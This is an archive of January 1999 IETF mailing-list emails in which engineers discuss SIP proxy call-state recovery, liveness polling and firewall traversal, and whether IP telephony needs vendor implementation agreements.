From confctrl-owner  Fri Jan 22 08:16:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA23640
	for confctrl-outgoing; Fri, 22 Jan 1999 08:16:35 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA23635
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jan 1999 08:16:34 -0800 (PST)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA29926
	for <confctrl@ISI.EDU>; Fri, 22 Jan 1999 08:16:32 -0800 (PST)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA00304; Fri, 22 Jan 1999 16:15:41 GMT
Received: from dwillispc3 ([166.44.155.68]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990122161549.WLCX8311@dwillispc3>;
          Fri, 22 Jan 1999 10:15:49 -0600
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>
Cc: "Donovan Steven R." <Steven.R.Donovan@MCI.COM>, <confctrl@ISI.EDU>
Subject: RE: Proxy Server Inconsistencies
Date: Fri, 22 Jan 1999 10:13:44 -0600
Message-ID: <000901be4622$2eca6100$a9a22ca6@dwillispc3.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <36A7CB74.49A4B06B@dnrc.bell-labs.com>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg said:
> It still seems to me that this is largely a non-issue. The spec
> currently says a BYE SHOULD be sent, and under normal situations, it
> will. With Record-Route, this means a stateful proxy will know the
> session state in most cases. So, we have yet to see if this
> is really a
> problem.

Let's say there are two endpoints on a call. They're both PCs, and both
machines crash hard due to a software bug. Who BYES? Nobody.

Who cares? Well, we already gave up on billing for the session unless it
is through a gateway (which would detect media timeout) or via a
resource reservation (which times out). So, it's not an issue from a
billing perspective.

The issue seem to be call routing towards a set of SIP endpoints which
are frontended by a location server acting as an automatic call director
(ACD). It would be nice for the ACD to know the status of all endpoints
so that it could make efficient routing decisions. Perhaps one could use
registration to determine endpoint availability? This might not detect a
crashed endpoint, so the ACD might need to send an OPTIONS to the
preferred registered target and verify its status before routing a call
to it.


> I'm unsure even how SUBSCRIBE/NOTIFY would work. Who is
> subscribing (the
> proxies?) and to what? If they are subscribing to the event "call
> terminated", this is totally redundant since BYE serves exactly this
> purpose. Plus, there are security implications to allowing proxies to
> subscribe to call state. SUBSCRIBE/NOTIFY doesn't give periodic
> refreshes; thats the whole point - you don't need to poll.

I think the idea here was for the proxy to SUBSCRIBE to a "timestamp"
event from the client. The client would then NOTIFY the proxy
periodically. If the proxy misses some events, it would take action such
as probing the client or unlisting the client.

--
Dean


From confctrl-owner  Fri Jan 22 11:14:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA00618
	for confctrl-outgoing; Fri, 22 Jan 1999 11:14:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA00613
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jan 1999 11:14:01 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA22184
	for <confctrl@ISI.EDU>; Fri, 22 Jan 1999 11:13:58 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA06032;
	Fri, 22 Jan 1999 14:13:55 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA11074;
	Fri, 22 Jan 1999 14:13:54 -0500 (EST)
Message-ID: <36A8CDF2.BD074660@cs.columbia.edu>
Date: Fri, 22 Jan 1999 14:13:54 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Dean Willis <Dean.Willis@MCI.COM>
CC: confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <000901be4622$2eca6100$a9a22ca6@dwillispc3.mcit.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dean Willis wrote:
> 
> Jonathan Rosenberg said:
> 
> The issue seem to be call routing towards a set of SIP endpoints which
> are frontended by a location server acting as an automatic call director
> (ACD). It would be nice for the ACD to know the status of all endpoints
> so that it could make efficient routing decisions. Perhaps one could use
> registration to determine endpoint availability? This might not detect a
> crashed endpoint, so the ACD might need to send an OPTIONS to the
> preferred registered target and verify its status before routing a call
> to it.

Since the server can arbitrarily limit the lifetime of a registration,
an ACD server could set the registration expiration time to a small
value (say, one minute) and thus get an indication of application
liveness.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Jan 22 13:02:56 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA05402
	for confctrl-outgoing; Fri, 22 Jan 1999 13:02:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA05397
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jan 1999 13:02:54 -0800 (PST)
Received: from ndcrelay2.mcit.com (ndcrelay2.mcit.com [166.37.172.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA05532
	for <confctrl@isi.edu>; Fri, 22 Jan 1999 13:02:51 -0800 (PST)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by ndcrelay2.mcit.com (8.8.7/) with ESMTP
	  id UAA23693; Fri, 22 Jan 1999 20:57:24 GMT
Received: from sinnreich2 ([166.35.227.182]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990122210008.VACU6156@sinnreich2>;
          Fri, 22 Jan 1999 15:00:08 -0600
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Douglas Clowes" <dclowes@ozemail.com.au>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>,
        "Paul E. Jones" <paul.jones@ties.itu.int>
Cc: "Henning Schulzrinne" <hgs@cs.columbia.edu>, <Hanlin_Fang@3com.com>,
        "Aishling" <irelanda@tcd.ie>, <iptel@lists.research.bell-labs.com>,
        <confctrl@ISI.EDU>
Subject: RE: SIP
Date: Fri, 22 Jan 1999 14:59:36 -0500
Message-ID: <NBBBIIJFOKPMFOOILMBKOEPMDHAA.henry.sinnreich@mci.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2212 (4.71.2419.0)
Importance: Normal
In-Reply-To: <3.0.3.32.19990122135730.015a62ac@mail.ozemail.com.au>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0810.800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Douglas writes:
> The solution seems to be the "Implementation Agreement" where, instead of
> the standards body picking and choosing, a group of vendors, implementors,
> or customers (or all three) get together and make the choices. Sometimes
> each group gets together separately and we get three or more IAs.

We exchange here e-mail and web pages by using IETF standard protocols. Am
not aware that our applications, whatever they are, went through implementor
agreements and the like.

Henry

> IMTC has an IA on VoIP telephony. ETSI TIPHON is a selection and
> tightening
> of the standards. There's also iNOW! and TIPIA. And some others
> that escape
> me ...
>
> From the box builder's POV, he wants to build boxes with any damn standard
> he want to, and update to the latest protocols to remain "whiz bang". From
> the box buyers POV, he wnats to buy boxes from different vendors and have
> them work in his existing installation. He doesn't want to find
> that of the
> two new boxes he bought, one uses RADIUS while the other one, with the
> higher serial number uses DIAMETER and that neither works with the same
> models he bought last year from the same vendor that use TACACS+.
>
> Some people want to sell boxes. Some people want to buy systems.
>
> Douglas
>
> >-Jonathan R.
> >
> >--
> >Jonathan D. Rosenberg                       Lucent Technologies
> >Member of Technical Staff                   101 Crawfords Corner Rd.
> >High Speed Networks Research                Holmdel, NJ 07733
> >FAX: (732) 834-5379                         Rm. 4C-526
> >EMAIL: jdrosen@bell-labs.com
> >URL: http://www.cs.columbia.edu/~jdrosen
> >---------
> >This message came from the IETF IPTEL Working Group Mailing List.
> >
> >
>
> ---------
> This message came from the IETF IPTEL Working Group Mailing List.
>


From confctrl-owner  Fri Jan 22 13:29:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA06956
	for confctrl-outgoing; Fri, 22 Jan 1999 13:29:50 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA06951
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jan 1999 13:29:49 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA08628
	for <confctrl@isi.edu>; Fri, 22 Jan 1999 13:29:43 -0800 (PST)
Received: from ind.cs.columbia.edu (ind.cs.columbia.edu [128.59.19.27])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id QAA14431
	for <confctrl@isi.edu>; Fri, 22 Jan 1999 16:29:37 -0500 (EST)
Received: (from lennox@localhost)
	by ind.cs.columbia.edu (8.9.1/8.9.1) id QAA01570;
	Fri, 22 Jan 1999 16:29:35 -0500 (EST)
Date: Fri, 22 Jan 1999 16:29:35 -0500 (EST)
Message-Id: <199901222129.QAA01570@ind.cs.columbia.edu>
X-Authentication-Warning: ind.cs.columbia.edu: lennox set sender to lennox@ind.cs.columbia.edu using -f
From: Jonathan Lennox <lennox@cs.columbia.edu>
To: confctrl@ISI.EDU, irt@cs.columbia.edu
Subject: Technical Report available: "Implementing IN services in SIP"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The Technical Report "Implementing Intelligent Network Services with the
Session Initiation Protocol", by Jonathan Lennox, Henning Schulzrinne, and
Thomas F. La Porta, is now available.  It can be obtained at the following
URLs:

<ftp://ftp.cs.columbia.edu/reports/reports-1999/cucs-002-99.ps.gz>
	(compressed PostScript)
<http://www.cs.columbia.edu/~lennox/cucs-002-99.pdf> (Adobe PDF)

Comments are welcome.

Abstract:

Internet telephony is receiving increasing interest as an alternative to
traditional telephone networks.  This article shows how the IETF's Session
Initiation Protocol (SIP) can be used to perform the services of traditional
Intelligent Network protocols, as well as additional services.

-- 
Jonathan Lennox
lennox@cs.columbia.edu

From confctrl-owner  Fri Jan 22 14:35:14 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA10743
	for confctrl-outgoing; Fri, 22 Jan 1999 14:35:14 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA10738
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jan 1999 14:35:12 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA15669
	for <confctrl@ISI.EDU>; Fri, 22 Jan 1999 14:35:10 -0800 (PST)
Received: from mr3.exu.ericsson.se ([138.85.11.55])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id QAA28937;
	Fri, 22 Jan 1999 16:36:18 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id QAA27809;
	Fri, 22 Jan 1999 16:34:35 -0600 (CST)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id QAA05370; Fri, 22 Jan 1999 16:34:34 -0600 (CST)
Received: (exuadam@localhost) by b04a24.exu.ericsson.se (8.8.2/8.6.12) id QAA11112; Fri, 22 Jan 1999 16:35:46 -0600 (CST)
Message-Id: <199901222235.QAA11112@b04a24.exu.ericsson.se>
Subject: Re: Proxy Server Inconsistencies
To: Dean.Willis@MCI.COM (Dean Willis)
Date: Fri, 22 Jan 1999 16:35:45 -0600 (CST)
Cc: confctrl@ISI.EDU
In-Reply-To: <000901be4622$2eca6100$a9a22ca6@dwillispc3.mcit.com> from "Dean Willis" at Jan 22, 99 10:13:44 am
From: Adam.Roach@Ericsson.com (Adam B. Roach)
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>The issue seem to be call routing towards a set of SIP endpoints which
>are frontended by a location server acting as an automatic call director
>(ACD). It would be nice for the ACD to know the status of all endpoints
>so that it could make efficient routing decisions. Perhaps one could use
>registration to determine endpoint availability? This might not detect a
>crashed endpoint, so the ACD might need to send an OPTIONS to the
>preferred registered target and verify its status before routing a call
>to it.

Actually, that's not quite the scenario I'm trying to describe. The
liveness of a client is fairly easy to ascertain (using OPTIONS,
or by cranking down the Expires duration for a REGISTER).

The presence of a client, however, does not imply that every
call that has ever been started on that client is still valid.
While this may be somthing of a non-issue for clients which are
run only occasionally, it becomes somewhat problematic for, say,
voice gateways into the PSTN, which will almost always be up.

If we lose a BYE from one of these gateways (say, during a 30 second
network outage), there is currently no recovery mechanism.
The result is that we have an allocated call record hanging
around in the proxy server indefinitely. It represents a
session which has long since gone away. Ultimately, as these
records pile up, we run out of memory.

The example of the ACD *does* demonstrate quite well exactly
why such records must be maintained: after an INVITE has been
sent off, we need to keep data around to know to whom the
corresponding BYE should be routed.

It is obvious that the concept of proxy servers maintaining
a record of a call for its entire duration is expected to be
supported by the protocol, as demonstrated by the presence of
the Record-Route header. It is also obvious that the full
implications of error conditions in such a configuration have
not been fully explored.

There are two workable solutions to this problem, both of
which have been discussed. One is a mandatory or server-initiatable 
heartbeat exchange between connected clients.  The other would be 
the capability on the part of a server to poll the clients /not just
for presence/, but for the existance of an ongoing session. Either 
would work as well as each other. 

Implementation details for both solutions with single-packet network
overhead per period have been discussed, so there is no network
traffic difference.

It is my opinion that the PING option would be much less work
to implement in clients than a client keep-alive messaging, and
about as much work to implement in servers. Others have expressed
concerns about the headache of adding a new method instead of
adding new behavior for an old method.

A compromise to both positions would be the addition of some
mandatory behavior to OPTIONS; this would require clients
to check the To, From, and Call-ID headers; if it is involved
in a session which matches all three, it responds with a special
2xx code (say, 280) indicating that the call is still valid.
Any other code would be interpreted to mean that the call is
gone.

In any case, an implication of these facts is that, unless such 
provisions are added to the specification as mandatory, it will 
be nigh-impossible to implement any proxy making use of the 
Record-Route header with any sensible behavior.

This is a non-trivial shortcoming.

/a

From confctrl-owner  Fri Jan 22 15:35:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA14073
	for confctrl-outgoing; Fri, 22 Jan 1999 15:35:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA14064
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jan 1999 15:35:55 -0800 (PST)
Received: from iglou.com (sendmail@iglou3.iglou.com [192.107.41.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA22828
	for <confctrl@isi.edu>; Fri, 22 Jan 1999 15:35:54 -0800 (PST)
Received: from [192.101.246.75] (helo=pjones) 
	by iglou.com with smtp (8.9.1/8.9.1)
	id 103q6q-0001Ef-00; Fri, 22 Jan 1999 18:35:28 -0500
Message-ID: <01a801be465f$e668d520$aec965c0@pjones.databeam.com>
From: "Paul E. Jones" <paul.jones@ties.itu.int>
To: "Henry Sinnreich" <henry.sinnreich@mci.com>,
        "Douglas Clowes" <dclowes@ozemail.com.au>,
        "Jonathan Rosenberg" <jdrosen@dnrc.bell-labs.com>
Cc: "Henning Schulzrinne" <hgs@cs.columbia.edu>, <Hanlin_Fang@3com.com>,
        "Aishling" <irelanda@tcd.ie>, <iptel@lists.research.bell-labs.com>,
        <confctrl@ISI.EDU>
Subject: Re: SIP
Date: Fri, 22 Jan 1999 18:34:33 -0500
MIME-Version: 1.0
Content-Type: text/plain;
	charset="windows-1252"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henry Sinnreich  wrote:

>Douglas writes:
>> The solution seems to be the "Implementation Agreement" where, instead of
>> the standards body picking and choosing, a group of vendors,
implementors,
>> or customers (or all three) get together and make the choices. Sometimes
>> each group gets together separately and we get three or more IAs.
>
>We exchange here e-mail and web pages by using IETF standard protocols. Am
>not aware that our applications, whatever they are, went through
implementor
>agreements and the like.
>


But even mail and web services are not without problems.  Take a web browser
written in 1995 and visit some of today's more elaborate web sites.  Create
an e-mail with Microsoft's Outlook Express using HTML and send it to a user
with a mail client written in 1995 (heck, send it to a Netscape user with
up-to-date software).

It is true that most of today's mail clients can understand SMTP, POP3,
IMAP, HTML, MIME, etc.  It is also true that most of today's web browsers
can support HTML 4.0, CSS, GIF, JPG, PNG, WAV, AU, MPEG, RealAudio, etc.
However, it has not been without pain on the users-- they have had to
upgrade their software every time a new "whiz-bang" feature was added.  Be
prepared to upgrade your web browsers again soon as XML and XSL displace
much of HTML and CSS and MP3 becomes a new important audio format on the
web.

We cannot and should not expect our telephone system to act this way.

People will be investing billions of dollars into IP telephony solutions--
they had better talk to each other.  We must agree on how to authorize users
when delivering calls to gateways.  We must agree on how to locate users or
resolve addresses.  We must agree on QoS issues (use RSVP?), billing,
roaming, access to emergency services, etc., etc.

When I go to the store to by my IP phone, bring it home, and plug it into my
hub, it should allow me to dial my grandmother's phone number and her phone
should ring.  The mechanics of accomplishing that are complex, and we must
have agreements on how that should be done at every step of the way.  In
addition, I expect that my IP telephone will continue to work for more than
four years.

Creating an "Implementation Agreement" as Douglas suggests is not a bad
idea.  It was not necessary with other protocols because they were simple,
the implementations were software-based and free (so cost was no issue), and
developed without interest from parties investing billions of dollars.  The
last point is the key-- when people spend billions of dollars, they expect
it to work.  Specifying a bunch of loosely related protocols and letting
people build several implementations, picking and choosing incompatible
components to address requirements, and waiting to see which one is
"coolest" and declaring it the winning combination will not work in the IP
telephony space.

Best Regards,
Paul




From confctrl-owner  Fri Jan 22 16:27:57 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA17107
	for confctrl-outgoing; Fri, 22 Jan 1999 16:27:57 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA17098
	for <confctrl@zephyr.isi.edu>; Fri, 22 Jan 1999 16:27:56 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA00101
	for <confctrl@ISI.EDU>; Fri, 22 Jan 1999 16:27:54 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA24548;
	Fri, 22 Jan 1999 19:27:52 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA17962;
	Fri, 22 Jan 1999 19:27:52 -0500 (EST)
Message-ID: <36A91787.68B36F87@cs.columbia.edu>
Date: Fri, 22 Jan 1999 19:27:51 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@Ericsson.com>
CC: Dean Willis <Dean.Willis@MCI.COM>, confctrl@ISI.EDU
Subject: Re: Proxy Server Inconsistencies
References: <199901222235.QAA11112@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

"Adam B. Roach" wrote:
> 

> 
> The presence of a client, however, does not imply that every
> call that has ever been started on that client is still valid.
> While this may be somthing of a non-issue for clients which are
> run only occasionally, it becomes somewhat problematic for, say,
> voice gateways into the PSTN, which will almost always be up.

> The example of the ACD *does* demonstrate quite well exactly
> why such records must be maintained: after an INVITE has been
> sent off, we need to keep data around to know to whom the
> corresponding BYE should be routed.

However, PSTN gateways would not be a typical example, since they would
presumably want a much quicker, media-driven aliveness mechanism, as
discussed previously.

> 

> 
> There are two workable solutions to this problem, both of
> which have been discussed. One is a mandatory or server-initiatable
> heartbeat exchange between connected clients.  The other would be
> the capability on the part of a server to poll the clients /not just
> for presence/, but for the existance of an ongoing session. Either
> would work as well as each other.

> 
> It is my opinion that the PING option would be much less work
> to implement in clients than a client keep-alive messaging, and
> about as much work to implement in servers. Others have expressed
> concerns about the headache of adding a new method instead of
> adding new behavior for an old method.
> 
> A compromise to both positions would be the addition of some
> mandatory behavior to OPTIONS; this would require clients
> to check the To, From, and Call-ID headers; if it is involved
> in a session which matches all three, it responds with a special
> 2xx code (say, 280) indicating that the call is still valid.
> Any other code would be interpreted to mean that the call is
> gone.

This would require a bit more specification, namely that this behavior
occurs when the body is empty (no session description), since a 2xx
status could otherwise be taken to mean that the new session description
is ok.

There is another issue with a mid-stream proxy querying a UAx as to
liveness: we can't assume connectivity transitivity, due to firewalls.
Thus, if a call goes UAC-F-P1-P2-P3-UAS, there is no guarantee (or,
rather, it's very unlikely) that P2 can directly ping UAC, since F may
only allow the TPC connection to P1. This would argue for UAC-initiated
(and UAS/P1/P2-requested) liveness indications or you'd have to use
partial Record-Routes. I'd imagine that anything that only requires
pretty much the same set of connections as was used for setup has the
largest chance for firewall success.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Sat Jan 23 10:31:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA22980
	for confctrl-outgoing; Sat, 23 Jan 1999 10:31:55 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA22975
	for <confctrl@zephyr.isi.edu>; Sat, 23 Jan 1999 10:31:53 -0800 (PST)
Received: from srvntsxconn2.toc.ixl.com (srvntsxconn2.toc.ixl.com [216.99.0.137])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA12713
	for <confctrl@ISI.EDU>; Sat, 23 Jan 1999 10:31:52 -0800 (PST)
From: TDorcey@ixl.com
Received: from 216.99.1.3 by srvntsxconn2.toc.ixl.com (InterScan E-Mail VirusWall NT); Fri, 22 Jan 1999 20:46:13 -0500 (Eastern Standard Time)
Received: by exchange.atl.ixl.com with Internet Mail Service (5.5.2448.0)
	id <DHBJY6BD>; Fri, 22 Jan 1999 20:46:12 -0500
Received: from [216.99.5.42] (216.99.5.42 [216.99.5.42]) by memntsxchange.ixlmemphis.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id DHBMBR1B; Fri, 22 Jan 1999 19:46:06 -0600
To: paul.jones@ties.itu.int
Cc: iptel@lists.research.bell-labs.com, confctrl@ISI.EDU
X-Sender: tdorcey@exchange.lax.ixl.com
Message-Id: <v03102802b2ced7fd3d75@[216.99.5.42]>
In-Reply-To: <01a801be465f$e668d520$aec965c0@pjones.databeam.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 22 Jan 1999 18:51:40 -0700
Subject: Re: SIP
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 4:34 PM -0700 1/22/99, Paul E. Jones wrote:
>
>When I go to the store to by my IP phone, bring it home, and plug it into my
>hub, it should allow me to dial my grandmother's phone number and her phone
>should ring.  The mechanics of accomplishing that are complex, and we must
>have agreements on how that should be done at every step of the way.  In
>addition, I expect that my IP telephone will continue to work for more than
>four years.
>
>Creating an "Implementation Agreement" as Douglas suggests is not a bad
>idea.  It was not necessary with other protocols because they were simple,
>the implementations were software-based and free (so cost was no issue), and
>developed without interest from parties investing billions of dollars.  The
>last point is the key-- when people spend billions of dollars, they expect
>it to work.  Specifying a bunch of loosely related protocols and letting
>people build several implementations, picking and choosing incompatible
>components to address requirements, and waiting to see which one is
>"coolest" and declaring it the winning combination will not work in the IP
>telephony space.

I dunno, I think it could work out pretty well that way.  If my IP phone
works just like my current telephone, then I don't want one.  I can't speak
for the people spending the billions of dollars, but I am most interested
in IP telephony for the innovations it will bring.  And, I don't think
anyone would suggest that standards committees are fertile ground for
innovation; it's just not their mission.  Also, let's not forget that it
took many years for the existing telephone system to reach it's current
level of maturity.

Tim

Tim Dorcey
iXL-Los Angeles
tdorcey@ixl.com
(310) 235-3928


From confctrl-owner  Sat Jan 23 13:32:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA28088
	for confctrl-outgoing; Sat, 23 Jan 1999 13:32:54 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA28083
	for <confctrl@zephyr.isi.edu>; Sat, 23 Jan 1999 13:32:53 -0800 (PST)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA19554
	for <confctrl@ISI.EDU>; Sat, 23 Jan 1999 13:32:52 -0800 (PST)
Received: from mr4.exu.ericsson.se ([138.85.11.56])
	by gwu.ericy.com (8.8.8/8.8.8) with ESMTP id PAA16923;
	Sat, 23 Jan 1999 15:34:00 -0600 (CST)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.8.8/8.8.8) with ESMTP id PAA04425;
	Sat, 23 Jan 1999 15:32:20 -0600 (CST)
Received: from b04a42.exu.ericsson.se (b04a42 [138.85.60.142]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id PAA13301; Sat, 23 Jan 1999 15:32:18 -0600 (CST)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (eussean@localhost) by b04a42.exu.ericsson.se (8.8.2/8.6.12) id PAA04601; Sat, 23 Jan 1999 15:31:52 -0600 (CST)
Date: Sat, 23 Jan 1999 15:31:52 -0600 (CST)
Message-Id: <199901232131.PAA04601@b04a42.exu.ericsson.se>
To: hgs@cs.columbia.edu
Subject: Re: Proxy Server Inconsistencies
Cc: Dean.Willis@MCI.COM, confctrl@ISI.EDU, Adam.Roach@ericsson.com
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> There is another issue with a mid-stream proxy querying a UAx as to
> liveness: we can't assume connectivity transitivity, due to firewalls.
> Thus, if a call goes UAC-F-P1-P2-P3-UAS, there is no guarantee (or,
> rather, it's very unlikely) that P2 can directly ping UAC, since F may
> only allow the TPC connection to P1. This would argue for UAC-initiated
> (and UAS/P1/P2-requested) liveness indications or you'd have to use
> partial Record-Routes. I'd imagine that anything that only requires
> pretty much the same set of connections as was used for setup has the
> largest chance for firewall success.
> 
> -- 
> Henning Schulzrinne   http://www.cs.columbia.edu/~hgs
>

In this situation, the firewall will have to insert a Record-Route or Contact
header. Without a Record-Route or a Contact header there is no assurance 
that any BYE/CANCEL/INVITE/ACK will ever get back to the UAC through the 
firewall. In either case, the issue with P2 sending a PING to the UAC 
is solved. UAC or UAS liveness tests are usually not required because
they can usually depend on media stream breaks to indicate call termination
in the abnormal cases. For a mid-stream proxy, this is not an option unless
it is doubling as a media gateway.

-----------------------------------------------------------------
Sean Olson                             Ericsson Inc.  
E-mail: sean.olson@ericsson.com
Voice: (972) 583-5472  FAX: (972) 669-0154 
Mail: 851 International, Richardson, TX 75081  Mail-stop L-04

From confctrl-owner  Sat Jan 23 13:48:43 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA28531
	for confctrl-outgoing; Sat, 23 Jan 1999 13:48:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA28526
